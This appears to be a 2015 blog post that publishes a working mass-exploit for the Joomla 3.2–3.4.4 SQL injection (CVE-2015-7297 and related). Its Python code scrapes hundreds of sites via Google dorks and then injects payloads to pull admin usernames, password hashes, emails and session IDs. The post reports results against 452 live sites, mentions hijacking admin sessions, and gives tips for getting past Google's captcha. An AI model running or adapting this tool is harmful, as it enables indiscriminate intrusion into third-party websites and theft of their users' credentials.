[Mass Exploit] Joomla 3.2 to 3.4 SQL Injection

Mukarram Khalid • October 25, 2015

python exploits

You guys know how I love to automate stuff. So earlier today I decided to automate the SQL injection vulnerability in open source CMS joomla 3.2 to 3.4.4 found by Trust Wave Labs here. CVE-2015-7297, CVE-2015-7857, and CVE-2015-7858 cover this SQL Injection vulnerability.

I have used Google Scraper and Mass Exploiter from one of my previous posts which works as a dork scanner and performs mass exploitation on hundreds of URLs in a matter of seconds. Here's a preview of this mass exploit.

Script Execution

Requirements

There are two modules in this exploit. First module makman.py is a dork scanner which scans all the URLs for the given google dork. As per my latest results, it scraped 417 joomla websites from google search in about 6 seconds.

# makman.py
# By MakMan - 25-10-2015

import requests, re, sys
from functools import partial
from multiprocessing import Pool


def get_urls(search_string, start):
    temp        = []
    url         = 'https://www.google.com.pk/search'
    payload     = { 'q' : search_string, 'start' : start , 'num' : '100' }
    # Set Cookies in my_headers from your browser, in case it doesn't get any results.
    my_headers  = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0', 'Cookie' : '' }
    r           = requests.get( url, params = payload, headers = my_headers )
    # print( r.text.encode('utf-8') )
    temp.extend( re.findall( '<h3 class="r"><a href="(.+?)"', r.text ) )
    # print(temp)
    return temp

def dork_scanner(search, pages, processes):
    result      = []
    search      = search
    pages       = pages
    processes   = int( processes )
    make_request = partial( get_urls, search )
    pagelist     = [ str(x*100) for x in range( 0, int(pages) ) ]
    with Pool(processes) as p:
        tmp = p.map(make_request, pagelist)
    for x in tmp:
        result.extend(x)
    result = list( set( result ) )
    return result

#End

The second module performs the injection on the URLs collected by the dork scanner in the first module. Make sure makman.py is in the same directory.

#
# Make sure makman.py is in the same directory
# Vulnerability found by : trustwave.com
# Exploit Author : //mukarramkhalid.com
# https://www.facebook.com/makmaniac
# https://twitter.com/themakmaniac

from  makman       import *
from  urllib.parse import urlparse
from  time         import time as timer

def banner():
    print( '\n\n' )
    print( '++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++' )
    print( '          [Mass Exploit] Joomla 3.2 - 3.44 SQL Injection          ' )
    print( '               Vulnerability found by : trustwave.com               ' )
    print( '          CVE-2015-7297, CVE-2015-7857, and CVE-2015-7858           ' )
    print( '    MakMan -- //mukarramkhalid.com -- http://fb.com/makmaniac  ' )
    print( '++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++' )
    print( '\n' )

def inject( u ):
    tblprefix   = ''
    username    = ''
    password    = ''
    email       = ''
    session_id  = ''
    #Payload for version() and user()
    payload1    = { 'option' : 'com_contenthistory', 'view' : 'history', 'list[ordering]' : '' , 'item_id' : '', 'type_id' : '', 'list[select]' : 'polygon((/*!00000select*/*/*!00000from*/(/*!00000select*/*/*!00000from*/(/*!00000select*/concat_ws(0x7e3a,0x6d616b6d616e,version(),user())as mk)``)``))' }
    #Payload for table prefix
    payload2    = { 'option' : 'com_contenthistory', 'view' : 'history', 'list[ordering]' : '' , 'item_id' : '', 'type_id' : '', 'list[select]' : 'polygon((/*!00000select*/*/*!00000from*/(/*!00000select*/*/*!00000from*/(/*!00000select*/concat_ws(0x7e3a,0x6d616b6d616e,(/*!00000select*//*!00000table_name*//*!00000from*//*!00000information_schema*/.tables/*!00000where*/table_schema=database() and/*!00000table_name*/like 0x25636f6e74656e745f7479706573 limit 0,1))as mk)``)``))' }
    #Formating our URL properly
    o           = urlparse(u)
    url         = o.scheme + '://' + o.netloc + o.path
    try:
        r   = requests.get( url, params = payload1, timeout= 15 )
        if 'makman~:' in r.text:
            iresult = re.search( "makman~:(.+?)'", r.text ).group(1)
            r = requests.get( url, params = payload2, timeout= 15 )
            if 'makman~:' in r.text:
                tresult = re.search( "makman~:(.+?)'", r.text ).group(1)
                tblprefix = tresult.replace('content_types', '')
                payload3 = { 'option' : 'com_contenthistory', 'view' : 'history', 'list[ordering]' : '' , 'item_id' : '', 'type_id' : '', 'list[select]' : 'polygon((/*!00000select*/*/*!00000from*/(/*!00000select*/*/*!00000from*/(/*!00000select*/concat_ws(0x7e3a,(/*!00000select*/concat_ws(0x7e3a,0x6d616b6d616e,username,password,email) /*!00000from*/' + tblprefix + 'users order by id ASC limit 0,1),(/*!00000select*/session_id /*!00000from*/' + tblprefix + 'session order by time DESC limit 0,1))as mk)``)``))' }
                r = requests.get( url, params = payload3, timeout= 15 )
                if 'makman~:' in r.text:
                    fresult     = re.search( "makman~:(.+?)'", r.text ).group(1)
                    username    = fresult.split('~:')[0]
                    password    = fresult.split('~:')[1]
                    email       = fresult.split('~:')[2]
                    session_id  = fresult.split('~:')[3]
            print ( '------------------------------------------------\n'  )
            print ( '[+] Url        : '      + url                        )
            print ( '[+] User       : '      + iresult.split('~:')[1]     )
            print ( '[+] Version    : '      + iresult.split('~:')[0]     )
            print ( '[+] tbl_prefix : '      + tblprefix                  )
            print ( '[+] Username   : '      + username                   )
            print ( '[+] Password   : '      + password                   )
            print ( '[+] Email      : '      + email                      )
            print ( '[+] Session Id : '      + session_id                 )
            print ( '\n------------------------------------------------\n')
            sys.stdout.flush()
            return url + '~:' + iresult + '~:' + tblprefix + '~:' + username + '~:' + password + '~:' + email + '~:' + session_id
        else:
            return url + '~:' + 'Not Vulnerable'
    except:
        return url + '~:' + 'Bad Response'

def main():
    banner()
    start         = timer()
    dork          = 'inurl:index.php?option=com_*'
    file_string   = '######## By MakMan ########\n'
    final_result  = []
    count         = 0
    print( '[+] Starting dork scanner for : ' + dork)
    sys.stdout.flush()
    #Calling dork_scanner from makman.py for 6 pages and 6 parallel processes
    search_result = dork_scanner( dork, '6', '6' )
    print( '[+] Total URLs found : ' + str( len( search_result ) ) )
    with open( 'urls.txt', 'a', encoding = 'utf-8' ) as ufile:
        ufile.write( '\n'.join( search_result ) )
    print( '[+] URLs written to urls.txt' )
    print( '\n[+] Trying Joomla SQL Injection exploit on ' + str( len( search_result ) ) + ' urls' )
    sys.stdout.flush()
    #Running 8 parallel processes for the exploitation
    with Pool(8) as p:
        final_result.extend( p.map( inject, search_result ) )
    for i in final_result:
        if not 'Not Vulnerable' in i and not 'Bad Response' in i:
            count += 1
            file_string = file_string + i.split('~:')[0] + '\n' + i.split('~:')[1] + '\n' + i.split('~:')[2] + '\n' + i.split('~:')[3] + '\n' + i.split('~:')[4] + '\n' + i.split('~:')[5] + '\n' + i.split('~:')[6] + '\n\n\n'
    #Writing vulnerable URLs in a file makman.txt
    with open( 'makman.txt', 'a', encoding = 'utf-8' ) as rfile:
        rfile.write( file_string )
    print( 'Total URLs Scanned    : ' + str( len( search_result ) ) )
    print( 'Vulnerable URLs Found : ' + str( count ) )
    print( 'Script Execution Time : ' + str ( timer() - start ) + ' seconds' )

if __name__ == '__main__':
    main()


#End

Video Demos

You can watch the following video demo to see this exploit in action.

Here's another quick demo to show you guys how to use session_id and get access to the admin panel without cracking the hashes.

Last Scan Results (28-10-2015)

[+] Starting dork scanner for : inurl:"/component/tags/"
[+] Total URLs found : 452
[+] URLs written to urls.txt
[+] Trying Joomla SQL Injection exploit on 452 urls

....REMOVED....
....REMOVED....
....REMOVED....

Total URLs Scanned    : 452
Vulnerable URLs Found : 66
Script Execution Time : 291.078248500824 seconds

Known Issues

Sometimes the first module (Google dork scanner) doesn't retrieve any URLs because Google serves the captcha form instead of the search results. If this is the case, go to you browser, do a manual search for your dork, fill in the correct captcha (if appears), retrieve the cookies for this search and add these cookies in makman.py line 14 in the dictionary variable my_headers for the key Cookie.

   # Set Cookies in my_headers from your browser, in case it doesn't get any results.
    my_headers  = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0', 'Cookie' : 'COOKIES_HERE' }

Joomla Cookies

You can always change the Google dork for this exploit by editing line 71 in joomla_sqli_mass_exploit.py.

def main():
    banner()
    start         = timer()
    dork          = 'inurl:index.php?option=com_*' # Change this line

GitHub Repository

I hereby take no responsibility for the loss/damage caused by this tutorial. This article has been shared for educational purpose only.